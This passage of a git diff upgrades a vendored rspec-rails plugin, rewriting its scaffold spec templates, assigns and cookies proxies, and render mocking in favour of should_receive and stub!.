- assigns[:<%= file_name %>].should equal(@<%= file_name %>)
- end
- end
-
- describe "handling POST /<%= table_name %>" do
-
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>, :to_param => "1")
- <%= class_name %>.stub!(:new).and_return(@<%= file_name %>)
+ it "should expose the requested <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ get :show, :id => "37"
+ assigns[:<%= file_name %>].should equal(mock_<%= file_name %>)
end
- describe "with successful save" do
-
- def do_post
- @<%= file_name %>.should_receive(:save).and_return(true)
- post :create, :<%= file_name %> => {}
- end
-
- it "should create a new <%= file_name %>" do
- <%= class_name %>.should_receive(:new).with({}).and_return(@<%= file_name %>)
- do_post
+ describe "with mime type of xml" do
+
+ it "should render the requested <%= file_name %> as xml" do
+ request.env["HTTP_ACCEPT"] = "application/xml"
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ mock_<%= file_name %>.should_receive(:to_xml).and_return("generated XML")
+ get :show, :id => "37"
+ response.body.should == "generated XML"
end
- it "should redirect to the new <%= file_name %>" do
- do_post
- response.should redirect_to(<%= table_name.singularize %>_url("1"))
+ end
+
+ end
+
+ describe "responding to GET new" do
+
+ it "should expose a new <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.should_receive(:new).and_return(mock_<%= file_name %>)
+ get :new
+ assigns[:<%= file_name %>].should equal(mock_<%= file_name %>)
+ end
+
+ end
+
+ describe "responding to GET edit" do
+
+ it "should expose the requested <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ get :edit, :id => "37"
+ assigns[:<%= file_name %>].should equal(mock_<%= file_name %>)
+ end
+
+ end
+
+ describe "responding to POST create" do
+
+ describe "with valid params" do
+
+ it "should expose a newly created <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.should_receive(:new).with({'these' => 'params'}).and_return(mock_<%= file_name %>(:save => true))
+ post :create, :<%= file_name %> => {:these => 'params'}
+ assigns(:<%= file_name %>).should equal(mock_<%= file_name %>)
+ end
+
+ it "should redirect to the created <%= file_name %>" do
+ <%= class_name %>.stub!(:new).and_return(mock_<%= file_name %>(:save => true))
+ post :create, :<%= file_name %> => {}
+ response.should redirect_to(<%= table_name.singularize %>_url(mock_<%= file_name %>))
end
end
- describe "with failed save" do
+ describe "with invalid params" do
- def do_post
- @<%= file_name %>.should_receive(:save).and_return(false)
- post :create, :<%= file_name %> => {}
+ it "should expose a newly created but unsaved <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.stub!(:new).with({'these' => 'params'}).and_return(mock_<%= file_name %>(:save => false))
+ post :create, :<%= file_name %> => {:these => 'params'}
+ assigns(:<%= file_name %>).should equal(mock_<%= file_name %>)
end
-
- it "should re-render 'new'" do
- do_post
+
+ it "should re-render the 'new' template" do
+ <%= class_name %>.stub!(:new).and_return(mock_<%= file_name %>(:save => false))
+ post :create, :<%= file_name %> => {}
response.should render_template('new')
end
end
+
end
- describe "handling PUT /<%= table_name %>/1" do
+ describe "responding to PUT udpate" do
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>, :to_param => "1")
- <%= class_name %>.stub!(:find).and_return(@<%= file_name %>)
- end
-
- describe "with successful update" do
+ describe "with valid params" do
- def do_put
- @<%= file_name %>.should_receive(:update_attributes).and_return(true)
+ it "should update the requested <%= file_name %>" do
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ mock_<%= file_name %>.should_receive(:update_attributes).with({'these' => 'params'})
+ put :update, :id => "37", :<%= file_name %> => {:these => 'params'}
+ end
+
+ it "should expose the requested <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.stub!(:find).and_return(mock_<%= file_name %>(:update_attributes => true))
put :update, :id => "1"
- end
-
- it "should find the <%= file_name %> requested" do
- <%= class_name %>.should_receive(:find).with("1").and_return(@<%= file_name %>)
- do_put
- end
-
- it "should update the found <%= file_name %>" do
- do_put
- assigns(:<%= file_name %>).should equal(@<%= file_name %>)
- end
-
- it "should assign the found <%= file_name %> for the view" do
- do_put
- assigns(:<%= file_name %>).should equal(@<%= file_name %>)
+ assigns(:<%= file_name %>).should equal(mock_<%= file_name %>)
end
it "should redirect to the <%= file_name %>" do
- do_put
- response.should redirect_to(<%= table_name.singularize %>_url("1"))
+ <%= class_name %>.stub!(:find).and_return(mock_<%= file_name %>(:update_attributes => true))
+ put :update, :id => "1"
+ response.should redirect_to(<%= table_name.singularize %>_url(mock_<%= file_name %>))
end
end
- describe "with failed update" do
+ describe "with invalid params" do
- def do_put
- @<%= file_name %>.should_receive(:update_attributes).and_return(false)
- put :update, :id => "1"
+ it "should update the requested <%= file_name %>" do
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ mock_<%= file_name %>.should_receive(:update_attributes).with({'these' => 'params'})
+ put :update, :id => "37", :<%= file_name %> => {:these => 'params'}
end
- it "should re-render 'edit'" do
- do_put
+ it "should expose the <%= file_name %> as @<%= file_name %>" do
+ <%= class_name %>.stub!(:find).and_return(mock_<%= file_name %>(:update_attributes => false))
+ put :update, :id => "1"
+ assigns(:<%= file_name %>).should equal(mock_<%= file_name %>)
+ end
+
+ it "should re-render the 'edit' template" do
+ <%= class_name %>.stub!(:find).and_return(mock_<%= file_name %>(:update_attributes => false))
+ put :update, :id => "1"
response.should render_template('edit')
end
end
+
end
- describe "handling DELETE /<%= table_name %>/1" do
+ describe "responding to DELETE destroy" do
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>, :destroy => true)
- <%= class_name %>.stub!(:find).and_return(@<%= file_name %>)
- end
-
- def do_delete
- delete :destroy, :id => "1"
- end
-
- it "should find the <%= file_name %> requested" do
- <%= class_name %>.should_receive(:find).with("1").and_return(@<%= file_name %>)
- do_delete
- end
-
- it "should call destroy on the found <%= file_name %>" do
- @<%= file_name %>.should_receive(:destroy)
- do_delete
+ it "should destroy the requested <%= file_name %>" do
+ <%= class_name %>.should_receive(:find).with("37").and_return(mock_<%= file_name %>)
+ mock_<%= file_name %>.should_receive(:destroy)
+ delete :destroy, :id => "37"
end
it "should redirect to the <%= table_name %> list" do
- do_delete
+ <%= class_name %>.stub!(:find).and_return(mock_<%= file_name %>(:destroy => true))
+ delete :destroy, :id => "1"
response.should redirect_to(<%= table_name %>_url)
end
+
end
+
end
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/edit_erb_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/edit_erb_spec.rb
index 86e23a27..267325a7 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/edit_erb_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/edit_erb_spec.rb
@@ -3,12 +3,13 @@ require File.expand_path(File.dirname(__FILE__) + '<%= '/..' * class_nesting_dep
describe "/<%= table_name %>/edit.<%= default_file_extension %>" do
include <%= controller_class_name %>Helper
- before do
- @<%= file_name %> = mock_model(<%= class_name %>)
-<% for attribute in attributes -%>
- @<%= file_name %>.stub!(:<%= attribute.name %>).and_return(<%= attribute.default_value %>)
-<% end -%>
- assigns[:<%= file_name %>] = @<%= file_name %>
+ before(:each) do
+ assigns[:<%= file_name %>] = @<%= file_name %> = stub_model(<%= class_name %>,
+ :new_record? => false<%= attributes.empty? ? '' : ',' %>
+<% attributes.each_with_index do |attribute, attribute_index| -%><% unless attribute.name =~ /_id/ || [:datetime, :timestamp, :time, :date].index(attribute.type) -%>
+ :<%= attribute.name %> => <%= attribute.default_value %><%= attribute_index == attributes.length - 1 ? '' : ','%>
+<% end -%><% end -%>
+ )
end
it "should render edit form" do
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/index_erb_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/index_erb_spec.rb
index 660c284f..2435342b 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/index_erb_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/index_erb_spec.rb
@@ -4,12 +4,17 @@ describe "/<%= table_name %>/index.<%= default_file_extension %>" do
include <%= controller_class_name %>Helper
before(:each) do
-<% [98,99].each do |id| -%>
- <%= file_name %>_<%= id %> = mock_model(<%= class_name %>)
-<% for attribute in attributes -%>
- <%= file_name %>_<%= id %>.should_receive(:<%= attribute.name %>).and_return(<%= attribute.default_value %>)
-<% end -%><% end %>
- assigns[:<%= table_name %>] = [<%= file_name %>_98, <%= file_name %>_99]
+ assigns[:<%= table_name %>] = [
+<% [1,2].each_with_index do |id, model_index| -%>
+ stub_model(<%= class_name %><%= attributes.empty? ? (model_index == 1 ? ')' : '),') : ',' %>
+<% attributes.each_with_index do |attribute, attribute_index| -%><% unless attribute.name =~ /_id/ || [:datetime, :timestamp, :time, :date].index(attribute.type) -%>
+ :<%= attribute.name %> => <%= attribute.default_value %><%= attribute_index == attributes.length - 1 ? '' : ','%>
+<% end -%><% end -%>
+<% if !attributes.empty? -%>
+ <%= model_index == 1 ? ')' : '),' %>
+<% end -%>
+<% end -%>
+ ]
end
it "should render list of <%= table_name %>" do
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/new_erb_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/new_erb_spec.rb
index f0442e9b..92690444 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/new_erb_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/new_erb_spec.rb
@@ -4,12 +4,12 @@ describe "/<%= table_name %>/new.<%= default_file_extension %>" do
include <%= controller_class_name %>Helper
before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
- @<%= file_name %>.stub!(:new_record?).and_return(true)
-<% for attribute in attributes -%>
- @<%= file_name %>.stub!(:<%= attribute.name %>).and_return(<%= attribute.default_value %>)
-<% end -%>
- assigns[:<%= file_name %>] = @<%= file_name %>
+ assigns[:<%= file_name %>] = stub_model(<%= class_name %>,
+ :new_record? => true<%= attributes.empty? ? '' : ',' %>
+<% attributes.each_with_index do |attribute, attribute_index| -%><% unless attribute.name =~ /_id/ || [:datetime, :timestamp, :time, :date].index(attribute.type) -%>
+ :<%= attribute.name %> => <%= attribute.default_value %><%= attribute_index == attributes.length - 1 ? '' : ','%>
+<% end -%><% end -%>
+ )
end
it "should render new form" do
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/routing_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/routing_spec.rb
index ca53a7ca..78d7149e 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/routing_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/routing_spec.rb
@@ -2,59 +2,57 @@ require File.expand_path(File.dirname(__FILE__) + '<%= '/..' * class_nesting_dep
describe <%= controller_class_name %>Controller do
describe "route generation" do
-
- it "should map { :controller => '<%= table_name %>', :action => 'index' } to /<%= table_name %>" do
+ it "should map #index" do
route_for(:controller => "<%= table_name %>", :action => "index").should == "/<%= table_name %>"
end
- it "should map { :controller => '<%= table_name %>', :action => 'new' } to /<%= table_name %>/new" do
+ it "should map #new" do
route_for(:controller => "<%= table_name %>", :action => "new").should == "/<%= table_name %>/new"
end
- it "should map { :controller => '<%= table_name %>', :action => 'show', :id => 1 } to /<%= table_name %>/1" do
+ it "should map #show" do
route_for(:controller => "<%= table_name %>", :action => "show", :id => 1).should == "/<%= table_name %>/1"
end
- it "should map { :controller => '<%= table_name %>', :action => 'edit', :id => 1 } to /<%= table_name %>/1<%= resource_edit_path %>" do
+ it "should map #edit" do
route_for(:controller => "<%= table_name %>", :action => "edit", :id => 1).should == "/<%= table_name %>/1<%= resource_edit_path %>"
end
- it "should map { :controller => '<%= table_name %>', :action => 'update', :id => 1} to /<%= table_name %>/1" do
+ it "should map #update" do
route_for(:controller => "<%= table_name %>", :action => "update", :id => 1).should == "/<%= table_name %>/1"
end
- it "should map { :controller => '<%= table_name %>', :action => 'destroy', :id => 1} to /<%= table_name %>/1" do
+ it "should map #destroy" do
route_for(:controller => "<%= table_name %>", :action => "destroy", :id => 1).should == "/<%= table_name %>/1"
end
end
describe "route recognition" do
-
- it "should generate params { :controller => '<%= table_name %>', action => 'index' } from GET /<%= table_name %>" do
+ it "should generate params for #index" do
params_from(:get, "/<%= table_name %>").should == {:controller => "<%= table_name %>", :action => "index"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'new' } from GET /<%= table_name %>/new" do
+ it "should generate params for #new" do
params_from(:get, "/<%= table_name %>/new").should == {:controller => "<%= table_name %>", :action => "new"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'create' } from POST /<%= table_name %>" do
+ it "should generate params for #create" do
params_from(:post, "/<%= table_name %>").should == {:controller => "<%= table_name %>", :action => "create"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'show', id => '1' } from GET /<%= table_name %>/1" do
+ it "should generate params for #show" do
params_from(:get, "/<%= table_name %>/1").should == {:controller => "<%= table_name %>", :action => "show", :id => "1"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'edit', id => '1' } from GET /<%= table_name %>/1;edit" do
+ it "should generate params for #edit" do
params_from(:get, "/<%= table_name %>/1<%= resource_edit_path %>").should == {:controller => "<%= table_name %>", :action => "edit", :id => "1"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'update', id => '1' } from PUT /<%= table_name %>/1" do
+ it "should generate params for #update" do
params_from(:put, "/<%= table_name %>/1").should == {:controller => "<%= table_name %>", :action => "update", :id => "1"}
end
- it "should generate params { :controller => '<%= table_name %>', action => 'destroy', id => '1' } from DELETE /<%= table_name %>/1" do
+ it "should generate params for #destroy" do
params_from(:delete, "/<%= table_name %>/1").should == {:controller => "<%= table_name %>", :action => "destroy", :id => "1"}
end
end
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/show_erb_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/show_erb_spec.rb
index 36dae549..309d30da 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/show_erb_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/show_erb_spec.rb
@@ -4,12 +4,13 @@ describe "/<%= table_name %>/show.<%= default_file_extension %>" do
include <%= controller_class_name %>Helper
before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
-<% for attribute in attributes -%>
- @<%= file_name %>.stub!(:<%= attribute.name %>).and_return(<%= attribute.default_value %>)
+ assigns[:<%= file_name %>] = @<%= file_name %> = stub_model(<%= class_name %><%= attributes.empty? ? ')' : ',' %>
+<% attributes.each_with_index do |attribute, attribute_index| -%><% unless attribute.name =~ /_id/ || [:datetime, :timestamp, :time, :date].index(attribute.type) -%>
+ :<%= attribute.name %> => <%= attribute.default_value %><%= attribute_index == attributes.length - 1 ? '' : ','%>
+<% end -%><% end -%>
+<% if !attributes.empty? -%>
+ )
<% end -%>
-
- assigns[:<%= file_name %>] = @<%= file_name %>
end
it "should render attributes in
" do
diff --git a/vendor/plugins/rspec-rails/lib/autotest/rails_rspec.rb b/vendor/plugins/rspec-rails/lib/autotest/rails_rspec.rb
index c6fe446b..3a37a477 100644
--- a/vendor/plugins/rspec-rails/lib/autotest/rails_rspec.rb
+++ b/vendor/plugins/rspec-rails/lib/autotest/rails_rspec.rb
@@ -73,9 +73,4 @@ Autotest.add_hook :initialize do |at|
end
class Autotest::RailsRspec < Autotest::Rspec
-
- def spec_command
- "script/spec"
- end
-
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails.rb b/vendor/plugins/rspec-rails/lib/spec/rails.rb
index 74fc3929..89686ee3 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails.rb
@@ -1,6 +1,6 @@
silence_warnings { RAILS_ENV = "test" }
-require 'application'
+require_dependency 'application'
require 'action_controller/test_process'
require 'action_controller/integration'
require 'active_record/fixtures' if defined?(ActiveRecord::Base)
@@ -12,41 +12,4 @@ require 'spec/rails/matchers'
require 'spec/rails/mocks'
require 'spec/rails/example'
require 'spec/rails/extensions'
-require 'spec/rails/version'
-
-module Spec
- # = Spec::Rails
- #
- # Spec::Rails (a.k.a. RSpec on Rails) is a Ruby on Rails plugin that allows you to drive the development
- # of your RoR application using RSpec, a framework that aims to enable Example Driven Development
- # in Ruby.
- #
- # == Features
- #
- # * Use RSpec to independently specify Rails Models, Views, Controllers and Helpers
- # * Integrated fixture loading
- # * Special generators for Resources, Models, Views and Controllers that generate Specs instead of Tests.
- #
- # == Vision
- #
- # For people for whom TDD is a brand new concept, the testing support built into Ruby on Rails
- # is a huge leap forward. The fact that it is built right in is fantastic, and Ruby on Rails
- # apps are generally much easier to maintain than they might have been without such support.
- #
- # For those of us coming from a history with TDD, and now BDD, the existing support presents some problems related to dependencies across specs. To that end, RSpec on Rails supports 4 types of specs. We’ve also built in first class mocking and stubbing support in order to break dependencies across these different concerns.
- #
- # == More Information
- #
- # See Spec::Rails::Runner for information about the different kinds of contexts
- # you can use to spec the different Rails components
- #
- # See Spec::Rails::Expectations for information about Rails-specific expectations
- # you can set on responses and models, etc.
- #
- # == License
- #
- # RSpec on Rails is licensed under the same license as RSpec itself,
- # the MIT-LICENSE.
- module Rails
- end
-end
+require 'spec/rails/interop/testcase'
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example.rb
index f104f51e..4881e891 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example.rb
@@ -9,6 +9,7 @@ require "spec/rails/example/functional_example_group"
require "spec/rails/example/controller_example_group"
require "spec/rails/example/helper_example_group"
require "spec/rails/example/view_example_group"
+require "spec/rails/example/cookies_proxy"
module Spec
module Rails
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/assigns_hash_proxy.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/assigns_hash_proxy.rb
index c8a7d066..2962a4f5 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/assigns_hash_proxy.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/assigns_hash_proxy.rb
@@ -2,27 +2,24 @@ module Spec
module Rails
module Example
class AssignsHashProxy #:nodoc:
- def initialize(object)
- @object = object
+ def initialize(example_group, &block)
+ @target = block.call
+ @example_group = example_group
end
- def [](ivar)
- if assigns.include?(ivar.to_s)
- assigns[ivar.to_s]
- elsif assigns.include?(ivar)
- assigns[ivar]
- else
- nil
- end
+ def [](key)
+ return false if assigns[key] == false
+ return false if assigns[key.to_s] == false
+ assigns[key] || assigns[key.to_s] || @target.instance_variable_get("@#{key}")
end
- def []=(ivar, val)
- @object.instance_variable_set "@#{ivar}", val
- assigns[ivar.to_s] = val
+ def []=(key, val)
+ @target.instance_variable_set("@#{key}", val)
end
- def delete(name)
- assigns.delete(name.to_s)
+ def delete(key)
+ assigns.delete(key.to_s)
+ @target.instance_variable_set("@#{key}", nil)
end
def each(&block)
@@ -35,7 +32,7 @@ module Spec
protected
def assigns
- @object.assigns
+ @example_group.orig_assigns
end
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/controller_example_group.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/controller_example_group.rb
index a686b6a3..d83f0e1b 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/controller_example_group.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/controller_example_group.rb
@@ -125,7 +125,7 @@ module Spec
attr_reader :response, :request, :controller
- def initialize(defined_description, &implementation) #:nodoc:
+ def initialize(defined_description, options={}, &implementation) #:nodoc:
super
controller_class_name = self.class.controller_class_name
if controller_class_name
@@ -158,7 +158,9 @@ module Spec
protected
def _assigns_hash_proxy
- @_assigns_hash_proxy ||= AssignsHashProxy.new @controller
+ @_assigns_hash_proxy ||= AssignsHashProxy.new self do
+ @response.template
+ end
end
private
@@ -183,61 +185,39 @@ module Spec
unless integrate_views?
if @template.respond_to?(:finder)
(class << @template.finder; self; end).class_eval do
- define_method :file_exists? do
- true
- end
+ define_method :file_exists? do; true; end
end
else
(class << @template; self; end).class_eval do
- define_method :file_exists? do
- true
- end
+ define_method :file_exists? do; true; end
end
end
(class << @template; self; end).class_eval do
define_method :render_file do |*args|
- @first_render ||= args[0]
+ @first_render ||= args[0] unless args[0] =~ /^layouts/
+ @_first_render ||= args[0] unless args[0] =~ /^layouts/
+ end
+
+ define_method :_pick_template do |*args|
+ @_first_render ||= args[0] unless args[0] =~ /^layouts/
+ PickedTemplate.new
end
end
end
end
if matching_message_expectation_exists(options)
- expect_render_mock_proxy.render(options, &block)
+ render_proxy.render(options, &block)
@performed_render = true
else
- unless matching_stub_exists(options)
+ if matching_stub_exists(options)
+ @performed_render = true
+ else
super(options, deprecated_status_or_extra_options, &block)
end
end
end
- def raise_with_disable_message(old_method, new_method)
- raise %Q|
- controller.#{old_method}(:render) has been disabled because it
- can often produce unexpected results. Instead, you should
- use the following (before the action):
-
- controller.#{new_method}(*args)
-
- See the rdoc for #{new_method} for more information.
- |
- end
- def should_receive(*args)
- if args[0] == :render
- raise_with_disable_message("should_receive", "expect_render")
- else
- super
- end
- end
- def stub!(*args)
- if args[0] == :render
- raise_with_disable_message("stub!", "stub_render")
- else
- super
- end
- end
-
def response(&block)
# NOTE - we're setting @update for the assert_select_spec - kinda weird, huh?
@update = block
@@ -255,17 +235,22 @@ module Spec
end
def matching_message_expectation_exists(options)
- expect_render_mock_proxy.send(:__mock_proxy).send(:find_matching_expectation, :render, options)
+ render_proxy.send(:__mock_proxy).send(:find_matching_expectation, :render, options)
end
def matching_stub_exists(options)
- expect_render_mock_proxy.send(:__mock_proxy).send(:find_matching_method_stub, :render, options)
+ render_proxy.send(:__mock_proxy).send(:find_matching_method_stub, :render, options)
end
end
Spec::Example::ExampleGroupFactory.register(:controller, self)
end
+
+ class PickedTemplate
+ def render_template(*ignore_args); end
+ def render_partial(*ignore_args); end
+ end
end
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/cookies_proxy.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/cookies_proxy.rb
new file mode 100644
index 00000000..b9420e0a
--- /dev/null
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/cookies_proxy.rb
@@ -0,0 +1,25 @@
+require 'action_controller/cookies'
+
+module Spec
+ module Rails
+ module Example
+ class CookiesProxy
+ def initialize(example)
+ @example = example
+ end
+
+ def[]=(name, value)
+ @example.request.cookies[name.to_s] = CGI::Cookie.new(name.to_s, value)
+ end
+
+ def [](name)
+ @example.response.cookies[name.to_s]
+ end
+
+ def delete(name)
+ @example.response.cookies.delete(name.to_s)
+ end
+ end
+ end
+ end
+end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/functional_example_group.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/functional_example_group.rb
index 6d375c81..8159e3ba 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/functional_example_group.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/functional_example_group.rb
@@ -27,6 +27,33 @@ module Spec
def session
response.session
end
+
+ # Overrides the cookies() method in
+ # ActionController::TestResponseBehaviour, returning a proxy that
+ # accesses the requests cookies when setting a cookie and the
+ # responses cookies when reading one. This allows you to set and read
+ # cookies in examples using the same API with which you set and read
+ # them in controllers.
+ #
+ # == Examples (Rails >= 1.2.6)
+ #
+ # cookies[:user_id] = '1234'
+ # get :index
+ # assigns[:user].id.should == '1234'
+ #
+ # post :login
+ # cookies[:login].expires.should == 1.week.from_now
+ #
+ # == Examples (Rails >= 2.0.0 only)
+ #
+ # cookies[:user_id] = {:value => '1234', :expires => 1.minute.ago}
+ # get :index
+ # response.should be_redirect
+ def cookies
+ @cookies ||= Spec::Rails::Example::CookiesProxy.new(self)
+ end
+
+ alias_method :orig_assigns, :assigns
# :call-seq:
# assigns()
@@ -53,6 +80,7 @@ module Spec
_assigns_hash_proxy[key]
end
end
+
end
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/helper_example_group.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/helper_example_group.rb
index af2f0357..2431ba9d 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/helper_example_group.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/helper_example_group.rb
@@ -148,7 +148,9 @@ module Spec
protected
def _assigns_hash_proxy
- @_assigns_hash_proxy ||= AssignsHashProxy.new helper
+ @_assigns_hash_proxy ||= AssignsHashProxy.new self do
+ helper
+ end
end
end
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/rails_example_group.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/rails_example_group.rb
index d60037de..de3b0bea 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/rails_example_group.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/rails_example_group.rb
@@ -11,11 +11,15 @@ module Spec
class RailsExampleGroup < Test::Unit::TestCase
# Rails >= r8570 uses setup/teardown_fixtures explicitly
- before(:each) do
- setup_fixtures if self.respond_to?(:setup_fixtures)
- end
- after(:each) do
- teardown_fixtures if self.respond_to?(:teardown_fixtures)
+ # However, Rails >= r8664 extracted these out to use ActiveSupport::Callbacks.
+ # The latter case is handled at the TestCase level, in interop/testcase.rb
+ unless ActiveSupport.const_defined?(:Callbacks) and self.include?(ActiveSupport::Callbacks)
+ before(:each) do
+ setup_fixtures if self.respond_to?(:setup_fixtures)
+ end
+ after(:each) do
+ teardown_fixtures if self.respond_to?(:teardown_fixtures)
+ end
end
include Spec::Rails::Matchers
diff --git a/vendor/plugins/rspec-rails/lib/spec/rails/example/render_observer.rb b/vendor/plugins/rspec-rails/lib/spec/rails/example/render_observer.rb
index 31086e22..38cff739 100644
--- a/vendor/plugins/rspec-rails/lib/spec/rails/example/render_observer.rb
+++ b/vendor/plugins/rspec-rails/lib/spec/rails/example/render_observer.rb
@@ -3,61 +3,39 @@ require 'spec/mocks/framework'
module Spec
module Rails
module Example
- # Provides specialized mock-like behaviour for controller and view examples,
- # allowing you to mock or stub calls to render with specific arguments while
- # ignoring all other calls.
+ # Extends the #should_receive, #should_not_receive and #stub! methods in rspec's
+ # mocking framework to handle #render calls to controller in controller examples
+ # and template and view examples
module RenderObserver
- # Similar to mocking +render+ with the exception that calls to +render+ with
- # any other options are passed on to the receiver (i.e. controller in
- # controller examples, template in view examples).
- #
- # This is necessary because Rails uses the +render+ method on both
- # controllers and templates as a dispatcher to render different kinds of
- # things, sometimes resulting in many calls to the render method within one
- # request. This approach makes it impossible to use a normal mock object, which
- # is designed to observe all incoming messages with a given name.
- #
- # +expect_render+ is auto-verifying, so failures will be reported without
- # requiring you to explicitly request verification.
- #
- # Also, +expect_render+ uses parts of RSpec's mock expectation framework. Because
- # it wraps only a subset of the framework, using this will create no conflict with
- # other mock frameworks if you choose to use them. Additionally, the object returned
- # by expect_render is an RSpec mock object, which means that you can call any of the
- # chained methods available in RSpec's mocks.
- #
- # == Controller Examples
- #
- # controller.expect_render(:partial => 'thing', :object => thing)
- # controller.expect_render(:partial => 'thing', :collection => things).once
- #
- # controller.stub_render(:partial => 'thing', :object => thing)
- # controller.stub_render(:partial => 'thing', :collection => things).twice
- #
- # == View Examples
- #
- # template.expect_render(:partial => 'thing', :object => thing)
- # template.expect_render(:partial => 'thing', :collection => things)
- #
- # template.stub_render(:partial => 'thing', :object => thing)
- # template.stub_render(:partial => 'thing', :collection => things)
+ # DEPRECATED
#
+ # Use should_receive(:render).with(opts) instead
def expect_render(opts={})
+ warn_deprecation("expect_render", "should_receive")
register_verify_after_each
- expect_render_mock_proxy.should_receive(:render, :expected_from => caller(1)[0]).with(opts)
+ render_proxy.should_receive(:render, :expected_from => caller(1)[0]).with(opts)
end
- # This is exactly like expect_render, with the exception that the call to render will not
- # be verified. Use this if you are trying to isolate your example from a complicated render
- # operation but don't care whether it is called or not.
+ # DEPRECATED
+ #
+ # Use stub!(:render).with(opts) instead
def stub_render(opts={})
+ warn_deprecation("stub_render", "stub!")
register_verify_after_each
- expect_render_mock_proxy.stub!(:render, :expected_from => caller(1)[0]).with(opts)
+ render_proxy.stub!(:render, :expected_from => caller(1)[0]).with(opts)
+ end
+
+ def warn_deprecation(deprecated_method, new_method)
+ Kernel.warn <<-WARNING
+#{deprecated_method} is deprecated and will be removed from a future version of rspec-rails.
+
+Please just use object.#{new_method} instead.
+WARNING
end
def verify_rendered # :nodoc:
- expect_render_mock_proxy.rspec_verify
+ render_proxy.rspec_verify
end
def unregister_verify_after_each #:nodoc:
@@ -65,7 +43,32 @@ module Spec
Spec::Example::ExampleGroup.remove_after(:each, &proc)
end
- protected
+ def should_receive(*args)
+ if args[0] == :render
+ register_verify_after_each
+ render_proxy.should_receive(:render, :expected_from => caller(1)[0])
+ else
+ super
+ end
+ end
+
+ def should_not_receive(*args)
+ if args[0] == :render
+ register_verify_after_each
+ render_proxy.should_not_receive(:render)
+ else
+ super
+ end
+ end
+
+ def stub!(*args)
+ if args[0] == :render
+ register_verify_after_each
+ render_proxy.stub!(:render, :expected_from => caller(1)[0])
+ else
+ super
+ end
+ end
def verify_rendered_proc #:nodoc:
template = self
@@ -80,8 +83,8 @@ module Spec
Spec::Example::ExampleGroup.after(:each, &proc)
end
- def expect_render_mock_proxy #:nodoc:
- @expect_render_mock_proxy ||= Spec::Mocks::Mock.new("expect_render_mock_proxy")
